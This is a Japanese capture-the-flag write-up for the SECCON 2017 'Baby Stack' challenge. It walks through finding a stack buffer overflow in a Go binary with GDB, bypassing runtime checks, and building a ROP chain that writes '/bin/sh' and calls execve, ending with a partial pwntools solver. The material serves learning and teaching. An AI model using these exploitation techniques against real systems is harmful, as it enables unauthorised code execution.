SECCON CTF 2017 - Baby Stack Writeup

問題

問題文

Can you do a traditional stack attack?

配布ファイル

  • baby_stack-7b078c99bb96de6e5efc2b3da485a9ae8a66fd702b7139baf072ec32175076d8
mc4nf@mc4nf:~/ctf/seccon2017/baby_stack$ file baby_stack-7b078c99bb96de6e5efc2b3da485a9ae8a66fd702b7139baf072ec32175076d8 
baby_stack-7b078c99bb96de6e5efc2b3da485a9ae8a66fd702b7139baf072ec32175076d8: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, Go BuildID=bcdb5e02c0606a4c9dd06d1e0dc56dc8564db722, with debug_info, not stripped

mc4nf@mc4nf:~/ctf/seccon2017/baby_stack$ checksec baby_stack-7b078c99bb96de6e5efc2b3da485a9ae8a66fd702b7139baf072ec32175076d8
[*] '/home/mc4nf/ctf/seccon2017/baby_stack/baby_stack-7b078c99bb96de6e5efc2b3da485a9ae8a66fd702b7139baf072ec32175076d8'
    Arch:     amd64-64-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

実行ファイルに file コマンドと checksec を用いると、 実行ファイルのアーキテクチャはx86-64、 セキュリティ機構は、RELRO、SSP (Stack Smashing Protection)、PIEが無効で、NXのみ有効であることがわかる。

方針

この問題では、実行ファイルのみ配布され、問題のソースコードが配布されていない。 このため、問題を解くために以下の手順で脆弱性の調査を行う。

  1. 配布された実行ファイルを動作させ、プログラムの脆弱性を特定
  2. 特定した脆弱性を利用してシェルの起動

1. 配布された実行ファイルの脆弱性の特定

TODO 実行ファイルの動作の確認

とりあえず、配布された実行ファイルの動作がわからない限り何もわからないので、早速実行してみる。

mc4nf@mc4nf:~/ctf/seccon2017/baby_stack$ ./baby_stack-7b078c99bb96de6e5efc2b3da485a9ae8a66fd702b7139baf072ec32175076d8 
Please tell me your name >> hoge
Give me your message >> fuga
Thank you, hoge!
msg : fuga

実行してみると、 Please tell me your name >> の文字列の表示の後に1回目の入力(ここでは hoge を入力)、 Give me your message >> の文字列の表示の後に2回目の入力(ここでは fuga を入力)を促された。 また、2回の入力が終わると、それぞれ入力した文字列が画面上に表示され、プログラムが終了した。

問題のタイトルや、実行ファイルに対しSSPが適用されていないことなどから、大量の文字を入力し、スタックバッファオーバフローの脆弱性が存在しているか確認してみる。

mc4nf@mc4nf:~/ctf/seccon2017/baby_stack$ ./baby_stack-7b078c99bb96de6e5efc2b3da485a9ae8a66fd702b7139baf072ec32175076d8 
Please tell me your name >> aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Give me your message >> bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb   
panic: runtime error: growslice: cap out of range

goroutine 1 [running]:
panic(0x4e4800, 0xc820076280)
     /usr/lib/go-1.6/src/runtime/panic.go:481 +0x3e6
fmt.(*fmt).padString(0xc82007ae28, 0x6262626262626262, 0x6262626262626262)
     /usr/lib/go-1.6/src/fmt/format.go:130 +0x406
fmt.(*fmt).fmt_s(0xc82007ae28, 0x6262626262626262, 0x6262626262626262)
     /usr/lib/go-1.6/src/fmt/format.go:322 +0x61
fmt.(*pp).fmtString(0xc82007add0, 0x6262626262626262, 0x6262626262626262, 0xc800000073)
     /usr/lib/go-1.6/src/fmt/print.go:521 +0xdc
fmt.(*pp).printArg(0xc82007add0, 0x4c1c00, 0xc820076260, 0x73, 0x0, 0x0)
     /usr/lib/go-1.6/src/fmt/print.go:797 +0xd95
fmt.(*pp).doPrintf(0xc82007add0, 0x5220a0, 0x18, 0xc820045ea8, 0x2, 0x2)
     /usr/lib/go-1.6/src/fmt/print.go:1238 +0x1dcd
fmt.Fprintf(0x7f1b1267a1c0, 0xc82008c008, 0x5220a0, 0x18, 0xc820045ea8, 0x2, 0x2, 0x40beee, 0x0, 0x0)
     /usr/lib/go-1.6/src/fmt/print.go:188 +0x74
fmt.Printf(0x5220a0, 0x18, 0xc820045ea8, 0x2, 0x2, 0x20, 0x0, 0x0)
     /usr/lib/go-1.6/src/fmt/print.go:197 +0x94
main.main()
     /home/yutaro/CTF/SECCON/2017/baby_stack/baby_stack.go:23 +0x45e

とりあえず、何も考えずに大量の文字列を入力したところ、プログラムがエラーを出力し終了した。 ここで、出力されたエラーを見てみると、 fmt.(*pp).fmtString などの引数に 0x62626...62 がよく表われる。 0x62 はASCIIコードで 'b' を表わすことから、2回目の入力においてスタックバッファオーバフローが発生していると予想できる。 また、ここでエラーコードに back_stack.gogoroutine 1 という文字列があることから、問題のプログラムはGo言語で書かれていたこともわかる。

GDBを用いた動的解析

それでは、だいたいの実行ファイルの動きと脆弱性の存在する箇所の検討がついたことから、GDBを用いて実行ファイルの動きを追ってみる。

まず、2回目の入力が促されたタイミングでプログラムを停止し、関数の呼び出し履歴を確認してみる。

[#0] 0x496a54 → syscall.Syscall()
[#1] 0x4957af → syscall.read(fd=0x0, p={
array = 0xc820094005 "",
len = 0xffb,
cap = 0xffb
}, n=0xc82001ea0c, err={
tab = 0x0,
data = 0x0
})
[#2] 0x49529d → syscall.Read(fd=0x0, p={
array = 0xc820094005 "",
len = 0xffb,
cap = 0xffb
}, n=0xc820000180, err={
tab = 0x0,
data = 0x0
})
[#3] 0x46aa23 → os.(*File).read(f=0xc820034008, b={
array = 0xc820094005 "",
len = 0xffb,
cap = 0xffb
}, n=0x18, err={
tab = 0x0,
data = 0x0
})
[#4] 0x46887a → os.(*File).Read(f=0xc820034008, b={
array = 0xc820094005 "",
len = 0xffb,
cap = 0xffb
}, n=0x4ebb40, err={
tab = 0x0,
data = 0x0
})
[#5] 0x46d53b → bufio.(*Scanner).Scan(s=0xc820047ec8, ~r0=0x18)
[#6] 0x4011e8 → main.main()

すると、2回目の入力を行う関数は、 main.main()0x4011e8 の直前に呼ばれていたことがわかる。 そこで、 main.main()0x4011e8 から先で呼ばれる処理の中で、スタックバッファオーバフローを引き起こすような処理がないか確認してみる。

すると、 0x40129f において、 main.memcpy という関数が呼ばれていることがわかる。

...    
0x40129f <main.main+671>:    call   0x4014f0 <main.memcpy>
...

memcpy は、入力された文字列を別のメモリ領域にコピーする処理を実装しているので、 この関数の呼び出し方法に起因して、スタックバッファオーバフローが発生していると推測できる。 そこで、この関数の呼び出しについて調べてみる。

まず、 main.memcpy が呼び出されたときのスタックの状態を確認してみる。

gef➤  dereference
0x000000c820051d48│+0x0000: 0x00000000004012a4  →  <main.main+676> mov rbx, QWORD PTR [rsp+0xc8]   ← $rsp
0x000000c820051d50│+0x0008: 0x000000c820051db0  →  0x0000000000000000
0x000000c820051d58│+0x0010: 0x000000c820051d90  →  "aaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
0x000000c820051d60│+0x0018: 0x000000000000001d
0x000000c820051d68│+0x0020: 0x0000000000000ffb
0x000000c820051d70│+0x0028: 0x000000c820051d90  →  "aaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
0x000000c820051d78│+0x0030: 0x000000000000001d
0x000000c820051d80│+0x0038: 0x0000000000000000
0x000000c820051d88│+0x0040: 0x0000000000000000
0x000000c820051d90│+0x0048: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaa"      ← $rcx, $rbp, $rdi
gef➤
0x000000c820051d98│+0x0050: "aaaaaaaaaaaaaaaaaaaaa"
0x000000c820051da0│+0x0058: "aaaaaaaaaaaaa"
0x000000c820051da8│+0x0060: 0x0000006161616161 ("aaaaa"?)
0x000000c820051db0│+0x0068: 0x0000000000000000 <-ここから0x20バイトは空の領域が確保されている
0x000000c820051db8│+0x0070: 0x0000000000000000
0x000000c820051dc0│+0x0078: 0x0000000000000000
0x000000c820051dc8│+0x0080: 0x0000000000000000 <- ここまで
0x000000c820051dd0│+0x0088: 0x000000c820051ec8  →  0x00007ffff7f6d1c0  →  0x00000000004dfc00  →  0x0000000000000010
0x000000c820051dd8│+0x0090: 0x000000c8200a2000  →  0x0000000065676f68 ("hoge"?)
0x000000c820051de0│+0x0098: 0x0000000000000004

"aaaa..." を入力し、 main.memcpy の処理が終了した後のスタックの状態も確認する。

gef➤  dereference
0x000000c820051d50│+0x0000: 0x000000c820051db0  →  "aaaaaaaaaaaaaaaaaaaaaaaaaaaaa"       ← $rsp
0x000000c820051d58│+0x0008: 0x000000c820051d90  →  "aaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
0x000000c820051d60│+0x0010: 0x000000000000001d
0x000000c820051d68│+0x0018: 0x0000000000000ffb
0x000000c820051d70│+0x0020: 0x000000c820051d90  →  "aaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
0x000000c820051d78│+0x0028: 0x000000000000001d
0x000000c820051d80│+0x0030: 0x0000000000000000
0x000000c820051d88│+0x0038: 0x0000000000000000
0x000000c820051d90│+0x0040: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaa"      ← $rbp, $rdi
0x000000c820051d98│+0x0048: "aaaaaaaaaaaaaaaaaaaaa"
gef➤
0x000000c820051da0│+0x0050: "aaaaaaaaaaaaa"
0x000000c820051da8│+0x0058: 0x0000006161616161 ("aaaaa"?)
0x000000c820051db0│+0x0060: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaa" <- 空だった領域に文字列がコピー
0x000000c820051db8│+0x0068: "aaaaaaaaaaaaaaaaaaaaa"
0x000000c820051dc0│+0x0070: "aaaaaaaaaaaaa"
0x000000c820051dc8│+0x0078: 0x0000006161616161 ("aaaaa"?)  <- ここまで
0x000000c820051dd0│+0x0080: 0x000000c820051ec8  →  0x00007ffff7f6d1c0  →  0x00000000004dfc00  →  0x0000000000000010
0x000000c820051dd8│+0x0088: 0x000000c8200a2000  →  0x0000000065676f68 ("hoge"?)
0x000000c820051de0│+0x0090: 0x0000000000000004
0x000000c820051de8│+0x0098: 0x000000c820051d90  →  "aaaaaaaaaaaaaaaaaaaaaaaaaaaaa"

この2つのスタックの状態を確認してみると、 main.memcpy 呼び出し前は 0x000000c820051db0 から 0x20 バイトの領域は 0 であったものの、 呼び出し後には、 "aaaa..." がコピーされていることがわかる。

このことから、 main.memcpy によって2回目に入力した文字列がコピーされる領域は、 0x20 バイト確保されていることがわかる。 ここで、 0x20 バイト以上の長さの文字列を入力してみると、本来用意されていたコピー先の領域を超えて、スタックバッファオーバフローが発生することを確認できる。

...     
0x000000c820051db0│+0x0060: 0x6161616161616161
0x000000c820051db8│+0x0068: 0x6161616161616161
0x000000c820051dc0│+0x0070: 0x6161616161616161
0x000000c820051dc8│+0x0078: 0x6161616161616161 
0x000000c820051dd0│+0x0080: 0x6161616161616161 <- スタックバッファオーバフローが発生
0x000000c820051dd8│+0x0088: 0x6161616161616161
0x000000c820051de0│+0x0090: 0x0000000000000005   ← $rdx
0x000000c820051de8│+0x0098: 0x000000c820012180  →  0x6161616161616161
...

ここまでの調査で、2回目の入力において、 main.memcpy 内でスタックバッファオーバフローが発生することが特定できた。 次に、この脆弱性を用いてどのようにしてシェルを起動するか考えていく。

2. 脆弱性を利用したシェルの起動

RIPの奪取

まず、シェルを起動するために、RIPを奪う必要がある。 また、配布された実行プログラムは、事前調査からSSPが無効なことがわかっている。 そこで、先程見つけたスタックバッファオーバフローの脆弱性を用いて main.main のリターンアドレスを書き換えられないかを調査してみる。

まず、 main.main のリターンアドレスがスタックのどこに格納されているのかわからないため、 main.main が呼び出し直後のスタックの状態を確認してみる。

gef➤  dereference
0x000000c820051f48│+0x0000: 0x0000000000429ef0  →  <runtime.main+688> mov ebx, DWORD PTR [rip+0x1903c2]        # 0x5ba2b8 <runtime.panicking>      ← $rsp
...

すると、スタックの先頭に、 main.main のリターンアドレスが積まれていることを確認できる。

次に、このリターンアドレスを書き換えるために、オーバフローが発生する領域からリターンアドレスまでのオフセットを計算する。 前節から、スタックの 0x000000c820051db0 から入力文字列が格納されることがわかっている。 このため、これらの差分を計算すると、 0x198 バイトであることがわかる。 これより、 0x198 バイトの文字列を入力し、その後にアドレスを格納することで、リターンアドレスを書き換えることができると考えられる。

そこで、早速 0x198 バイトの文字列 + 8 バイトの文字列(リターンアドレス)を入力し、GDBで先程リターンアドレスが格納されていたアドレスを確認してみる。 1行目では、 main.memcpy 呼び出し後のアドレス ( 0x4012a4 )にブレークポイントを打っている。

gef➤  b *0x4012a4
gef➤  g
Please tell me your name >> hoge
Give me your message >> aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaabbbb
gef➤  dereference
...
0x000000c820051f30│+0x01e0: "aaaaaaaaaaaaaaaaaaaaaaaabbbb"
0x000000c820051f38│+0x01e8: "aaaaaaaaaaaaaaaabbbb"
0x000000c820051f40│+0x01f0: "aaaaaaaabbbb"
0x000000c820051f48│+0x01f8: 0x0000000062626262 ("bbbb"?)
...

実行結果を見てみると、先程リターンアドレスが格納されていた 0x000000c820051f48 の内容を 0x62626262 ( bbbb )に書き換えできていることがわかる。 しかし、 main.main のリターンアドレスへジャンプする前に、プログラムが以下のようなエラーを出力し終了してしまう。

runtime: out of memory: cannot allocate 7016996765293477888-byte block (1048576 in use)
fatal error: out of memory

...

goroutine 1 [running]:
runtime.systemstack_switch()
        /usr/lib/go-1.6/src/runtime/asm_amd64.s:245 fp=0xc820051b60 sp=0xc820051b58
runtime.mallocgc(0x6161616161616161, 0x0, 0xc800000003, 0xc8200a4000)
        /usr/lib/go-1.6/src/runtime/malloc.go:665 +0x9eb fp=0xc820051c38 sp=0xc820051b60
runtime.rawstring(0x6161616161616161, 0x0, 0x0, 0x0, 0x0, 0x0)
        /usr/lib/go-1.6/src/runtime/string.go:284 +0x70 fp=0xc820051c80 sp=0xc820051c38
runtime.rawstringtmp(0x0, 0x6161616161616161, 0x0, 0x0, 0x0, 0x0, 0x0)
        /usr/lib/go-1.6/src/runtime/string.go:111 +0xb7 fp=0xc820051cb8 sp=0xc820051c80
runtime.slicebytetostring(0x0, 0x6161616161616161, 0x6161616161616161, 0x6161616161616161, 0x0, 0x0)
        /usr/lib/go-1.6/src/runtime/string.go:93 +0x6f fp=0xc820051d50 sp=0xc820051cb8
main.main()
        /home/yutaro/CTF/SECCON/2017/baby_stack/baby_stack.go:23 +0x2f8 fp=0xc820051f50 sp=0xc820051d50
...
[Inferior 1 (process 53719) exited with code 02]

そこで、次に、このエラーを回避する方法を考える。

エラーの回避

出力されたエラーの内容を確認しただけでは、スタックのどの領域がエラーの原因であるかわからない。 そこで、patternを利用し、エラー出力から原因となるスタックの領域を特定する。

まず、 0x200 バイトのpatternを作成する。

gef➤  pattern create 0x200
[+] Generating a pattern of 512 bytes (n=8)
aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaazaaaaaabbaaaaaabcaaaaaabdaaaaaabeaaaaaabfaaaaaabgaaaaaabhaaaaaabiaaaaaabjaaaaaabkaaaaaablaaaaaabmaaaaaabnaaaaaaboaaaaaabpaaaaaabqaaaaaabraaaaaabsaaaaaabtaaaaaabuaaaaaabvaaaaaabwaaaaaabxaaaaaabyaaaaaabzaaaaaacbaaaaaaccaaaaaacdaaaaaaceaaaaaacfaaaaaacgaaaaaachaaaaaaciaaaaaacjaaaaaackaaaaaaclaaaaaacmaaaaaacnaaaaaac
[+] Saved as '$_gef0'

patternコマンドにより出力された文字列をプログラムへ入力すると、エラー出力中の値から入力した文字列の何バイト目が原因となっているか推測できる。

次に、このpatternを入力し、再度エラーを出力させる。

gef➤
runtime: out of memory: cannot allocate 7089054359331405824-byte block (1048576 in use)
fatal error: out of memory

...

goroutine 1 [running]:
runtime.systemstack_switch()
   /usr/lib/go-1.6/src/runtime/asm_amd64.s:245 fp=0xc820051b60 sp=0xc820051b58
runtime.mallocgc(0x6261616161616162, 0x0, 0xc800000003, 0xc8200a8000)
   /usr/lib/go-1.6/src/runtime/malloc.go:665 +0x9eb fp=0xc820051c38 sp=0xc820051b60
runtime.rawstring(0x6261616161616162, 0x0, 0x0, 0x0, 0x0, 0x0)
   /usr/lib/go-1.6/src/runtime/string.go:284 +0x70 fp=0xc820051c80 sp=0xc820051c38
runtime.rawstringtmp(0x0, 0x6261616161616162, 0x0, 0x0, 0x0, 0x0, 0x0)
   /usr/lib/go-1.6/src/runtime/string.go:111 +0xb7 fp=0xc820051cb8 sp=0xc820051c80
runtime.slicebytetostring(0x0, 0x626161616161617a, 0x6261616161616162, 0x6261616161616163, 0x0, 0x0)
   /usr/lib/go-1.6/src/runtime/string.go:93 +0x6f fp=0xc820051d50 sp=0xc820051cb8
main.main()
   /home/yutaro/CTF/SECCON/2017/baby_stack/baby_stack.go:23 +0x2f8 fp=0xc820051f50 sp=0xc820051d50
...
[Inferior 1 (process 38636) exited with code 02]

上記のエラーを見てみると、 runtime.slicebytetostring の引数として、先程入力したパターンの一部である 0x6261616161616162~、~0x6261616161616163 、 および 0x626161616161617a がエラー出力中に表示されており、これが原因でエラーが発生していると考えられる。

そこで、これらのパターンのオフセットを求めてみる。

gef➤  pattern search 0x6261616161616162
[+] Searching for '0x6261616161616162'
[+] Found at offset 208 (little-endian search) likely
[+] Found at offset 208 (big-endian search)
gef➤  pattern search 0x6261616161616163
[+] Searching for '0x6261616161616163'
[+] Found at offset 216 (little-endian search) likely
[+] Found at offset 408 (big-endian search)
gef➤  pattern search 0x626161616161617a
[+] Searching for '0x626161616161617a'
[+] Found at offset 200 (little-endian search) likely

すると、これらのオフセットは208(0xd0)番目、216(0xd8)番目、200(0xc8)番目にあたることがわかる。

また、スタックバッファオーバフローが発生しない入力をした場合のスタックの状態を見ることで、何故ここでエラーが発生したのか考えてみる。

gef➤  g
Please tell me your name >> hoge
Give me your message >> fuga
gef➤ dereference
...
0x000000c820051e78│+0x0128: 0x000000c820051db0  →  0x0000000061677566 ("fuga"?)
0x000000c820051e80│+0x0130: 0x0000000000000020 (" "?)
0x000000c820051e88│+0x0138: 0x0000000000000020 (" "?)
...

上記の入力を行い、 main.memcpy 終了後のスタックの状態を見てみると、 先程エラーが出力された原因と考えられる場所には、2回目の入力の格納先のアドレスと格納先のサイズと思われる 0x20(32) が格納されている。

このため、 0xc8 には何らかの文字列のアドレス、 0xd00xd8 には文字列のサイズを格納すれば良いと推測できる。 そこで、実行ファイル中に存在する文字列である "Please" を代わりの文字列として使用する。 先程まで利用していたpatternに、上記の値を格納して、再度プログラムを実行してみる。

  pattern = b'aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaazaaaaaabbaaaaaabcaaaaaabdaaaaaabeaaaaaabfaaaaaabgaaaaaabhaaaaaabiaaaaaabjaaaaaabkaaaaaablaaaaaabmaaaaaabnaaaaaaboaaaaaabpaaaaaabqaaaaaabraaaaaabsaaaaaabtaaaaaabuaaaaaabvaaaaaabwaaaaaabxaaaaaabyaaaaaabzaaaaaacbaaaaaaccaaaaaacdaaaaaaceaaaaaacfaaaaaacgaaaaaachaaaaaaciaaaaaacjaaaaaackaaaaaaclaaaaaacmaaaaaacnaaaaaac'
  buf2 = list(pattern)

  # msg
  buf2[0xc8:0xd0] = p64(please_ptr) # string ptr
  buf2[0xd0:0xd8] = p64(0x6)        # string size
  buf2[0xd0:0xd8] = p64(0x6)        # string size

  buf2 = buf2[:0x1f8-0x60]
  buf2 = bytes(buf2)

すると、今度は以下のようなエラーが出力される。

Please tell me your name >> Give me your message >> fatal error: runtime: internal error:
misuse of lockOSThread/unlockOSThread

...

goroutine 1 [[*] Process './baby_stack-7b078c99bb96de6e5efc2b3da485a9ae8a66fd702b7139baf072ec32175076d8' stopped with exit code 2 (pid 54788)
running]:
runtime.systemstack_switch()
/usr/lib/go-1.6/src/runtime/asm_amd64.s:245 fp=0xc820051480 sp=0xc820051478
runtime.unlockOSThread()
/usr/lib/go-1.6/src/runtime/proc.go:2929 +0x31 fp=0xc820051498 sp=0xc820051480
runtime.main.func2(0xc820051f87)
/usr/lib/go-1.6/src/runtime/proc.go:146 +0x21 fp=0xc8200514a0 sp=0xc820051498
runtime.call32(0x0, 0x537758, 0xc820016170, 0x800000008)
/usr/lib/go-1.6/src/runtime/asm_amd64.s:472 +0x3e fp=0xc8200514c8 sp=0xc8200514a0
panic(0x4e4800, 0xc82000a3c0)
/usr/lib/go-1.6/src/runtime/panic.go:443 +0x4e9 fp=0xc820051548 sp=0xc8200514c8
runtime.growslice(0x4c2000, 0xc8200104c0, 0xb, 0x20, 0x616161616161617a, 0x0, 0x0, 0x0)
/usr/lib/go-1.6/src/runtime/slice.go:53 +0xd3 fp=0xc8200515b8 sp=0xc820051548
runtime.growslice_n(0x4c2000, 0xc8200104c0, 0xb, 0x20, 0x616161616161615a, 0x0, 0x0, 0x0)
/usr/lib/go-1.6/src/runtime/slice.go:44 +0xc7 fp=0xc820051610 sp=0xc8200515b8
fmt.(*fmt).padString(0xc82007ee28, 0x616161616161616e, 0x616161616161616f)
/usr/lib/go-1.6/src/fmt/format.go:130 +0x406 fp=0xc820051730 sp=0xc820051610
fmt.(*fmt).fmt_s(0xc82007ee28, 0x616161616161616e, 0x616161616161616f)
/usr/lib/go-1.6/src/fmt/format.go:322 +0x61 fp=0xc820051760 sp=0xc820051730
fmt.(*pp).fmtString(0xc82007edd0, 0x616161616161616e, 0x616161616161616f, 0xc800000073)
/usr/lib/go-1.6/src/fmt/print.go:521 +0xdc fp=0xc820051790 sp=0xc820051760
fmt.(*pp).printArg(0xc82007edd0, 0x4c1c00, 0xc82000a3a0, 0x73, 0x0, 0x0)
/usr/lib/go-1.6/src/fmt/print.go:797 +0xd95 fp=0xc820051918 sp=0xc820051790
fmt.(*pp).doPrintf(0xc82007edd0, 0x5220a0, 0x18, 0xc820051ea8, 0x2, 0x2)
/usr/lib/go-1.6/src/fmt/print.go:1238 +0x1dcd fp=0xc820051ca0 sp=0xc820051918
fmt.Fprintf(0x7f4960ce11e8, 0xc82003e010, 0x5220a0, 0x18, 0xc820051ea8, 0x2, 0x2, 0x40beee, 0x0, 0x0)
/usr/lib/go-1.6/src/fmt/print.go:188 +0x74 fp=0xc820051ce8 sp=0xc820051ca0
fmt.Printf(0x5220a0, 0x18, 0xc820051ea8, 0x2, 0x2, 0x6, 0x0, 0x0)
/usr/lib/go-1.6/src/fmt/print.go:197 +0x94 fp=0xc820051d50 sp=0xc820051ce8
main.main()
/home/yutaro/CTF/SECCON/2017/baby_stack/baby_stack.go:23 +0x45e fp=0xc820051f50 sp=0xc820051d50
runtime.isExportedRuntime(0x46defd, 0x0, 0x4016ea)
/usr/lib/go-1.6/src/runtime/traceback.go:638 +0xb5 fp=0xc820051f90 sp=0xc820051f50

エラーを見ると、 fmt.Printf が原因となっていることがわかる。 また、patternが出力されている 0x616161616161616e0x616161616161616f に対応するスタックの領域がエラー箇所であると推測できる。

そこで、先程と同様に、これらのpatternのオフセットを求める。

gef➤  pattern search 0x616161616161616e
[+] Searching for '0x616161616161616e'
[+] Found at offset 104 (little-endian search) likely
[+] Found at offset 97 (big-endian search)
gef➤  pattern search 0x616161616161616f
[+] Searching for '0x616161616161616f'
[+] Found at offset 112 (little-endian search) likely
[+] Found at offset 105 (big-endian search)

この結果から、 104(0x68) 番目と 0x112(0x70) 番目のオフセットに対応する箇所がエラーの原因であると予想できる。 ここで、先程と同様にスタックバッファオーバフローが発生しない入力をした際のものと比較してみる。

Please tell me your name >> hoge
Give me your message >> fuga
gef➤ dereference
...
0x000000c82004be18│+0x00c8: 0x000000c82000a2e4  →  0x0000000065676f68 ("hoge"?)
0x000000c82004be20│+0x00d0: 0x0000000000000004
...

すると、こちらについても、 0x68 番目は1回目の入力が格納される領域のアドレスであり、 0x70 番目は入力した文字列のサイズであると推測できる。 このため、先程と同様に "Please" の文字列を指すようにそれぞれ値を格納し、再度プログラムを実行すると、 先程までのエラーを回避し、リターンアドレスを書き換えることができる。

次に、リターンアドレスを書き換えることにより、シェルの起動を行う。

シェルの起動

RIPを奪うことに成功したため、後はROPを組んでシェルを起動できればフラグを取れそうである。 そこで、まずシェルの起動に必要なROPガジェットを考える。

一般的はシェルの起動方法として、 execve("/bin/sh", 0, 0) を実行する方法がある。 これを実行するためには、 rax=59rdi="/bin/sh"rsi=0 および rdx=0 を設定し、最後に syscall を呼び出す必要がある。

そこで、 pop レジスタ; ret; となるガジェットを探し、それぞれのレジスタを設定する。

  ## 0x00000000004026da: syscall;
  syscall = 0x00000000004026da

  ## 0x0000000000470931: pop rdi; or byte ptr [rax + 0x39], cl; ret;
  pop_rdi = 0x0000000000470931

  ## 0x000000000046defd: pop rsi; ret;
  pop_rsi = 0x000000000046defd

  ## 0x00000000004016ea: pop rax; ret;
  pop_rax = 0x00000000004016ea

  ## 0x0000000000448145: pop rdx; setbe byte ptr [rsp + 0x50]; add rsp, 0x38; ret;
  pop_rdx = 0x0000000000448145

それぞれ、使えそうなガジェットをropper集める。ここで、今回使用するガジェットで、 pop rdi を行うガジェットと pop rdx を行うガジェットはそれぞれ扱いに注意が必要である。

まず、 pop rdi を行う pop rdi; or byte ptr [rax + 0x39], cl; ret; は、 pop rdi 以外に rax+0x39 のアドレスと cl レジスタの内容を or 演算する。 このため、 rax が書き込み不可なアドレスを指していた場合、プログラムがエラーで落ちてしまう。そこで、このガジェットの呼び出し前には、 rax が bss領域を指すようにすることでこの問題に対処する。

次に、 pop rdx を行う pop rdx; setbe byte ptr [rsp + 0x50]; add rsp, 0x38; ret; は、 スタック領域のアドレスに対して1バイトだけ書き込みを行う setbe 命令を行い、最後に rsp0x38 バイトだけ増加させる。 ここで、 rsp がずれると、後ろに続くROPチェーンが機能しなくなる。 そこで、 rsp が次のガジェットを指すようにこのガジェットの後で 0x38 バイトだけパディングを行うことでこの問題に対処する。

それぞれのレジスタにスタックから値をpopするガジェットの用意ができたため、これらを用いてROPチェーンを組んでいく。

ここで、 rdi には、 "/bin/sh" の文字列のアドレスを格納する必要がある。 しかし、実行ファイル上には、 "/bin/sh" の文字列は存在しない。そこで、ROPを用いてこの文字列をメモリ上に作成する。 文字列を作成する領域としては、アドレスが変わらず、メモリへの読み書きどちらも可能となるbss領域が適しているため、bss領域に "/bin/sh" を書き込むことを考える。

文字列をメモリ上に作成する方法として、ROPガジェットを利用して作成する方法と、 write システムコールを利用して作成する方法の2通りが考えられるが、今回は前者のROPガジェットを用いた方法を利用する。

この方法は、以下の手順で実現できる。

  1. レジスタ1 ( rdi )に文字列を書き込みたいアドレス( bss_addr )を格納

    buf = p64(pop_rdi)
    buf += p64(bss_addr)
  2. レジスタ2( rax )に書き込みたい文字列( "/bin/sh" )を格納

    buf += p64(pop_rax)
    buf += b"/bin/sh"
  3. mov [レジスタ1], レジスタ2 の形のガジェットを利用し、レジスタ1の指すアドレスにレジスタ2の内容を書き込み

    ## 0x0000000000456499: mov qword ptr [rdi], rax; ret;
    mov_rdi_rax = 0x0000000000456499
    buf += p64(mov_rdi_rax)

以上のROPガジェットを組み合わせることで、リターンアドレスの書き換えからシェルを起動することができる。

最後に、上記の流れをSolverとして実装したため、Solverとその実行結果を示す。

Solver

solver

   from pwn import *

   filename = './baby_stack-7b078c99bb96de6e5efc2b3da485a9ae8a66fd702b7139baf072ec32175076d8'
   chall = ELF(filename)

   # socat TCP-LISTEN:8000,reuseaddr,fork EXEC:"./baby_stack-7b078c99bb96de6e5efc2b3da485a9ae8a66fd702b7139baf072ec32175076d8"
   conn = remote('localhost', 8000)
   # conn = process(filename)

   # ROP Gadgets
   bss_addr = 0x000000000058e000
   hoge_str = 0x000000c8200a2000

   ## 0x00000000004026da: syscall;
   syscall = 0x00000000004026da

   ## 0x0000000000470931: pop rdi; or byte ptr [rax + 0x39], cl; ret;
   pop_rdi = 0x0000000000470931

   ## 0x0000000000456499: mov qword ptr [rdi], rax; ret;
   mov_rdi_rax = 0x0000000000456499

   ## 0x000000000046defd: pop rsi; ret;
   pop_rsi = 0x000000000046defd

   ## 0x00000000004016ea: pop rax; ret;
   pop_rax = 0x00000000004016ea

   ## 0x0000000000448145: pop rdx; setbe byte ptr [rsp + 0x50]; add rsp, 0x38; ret;
   pop_rdx = 0x0000000000448145

   ## static string
   please_ptr = 0x521f00
   please_size = 0x6

   # Input name (First input)
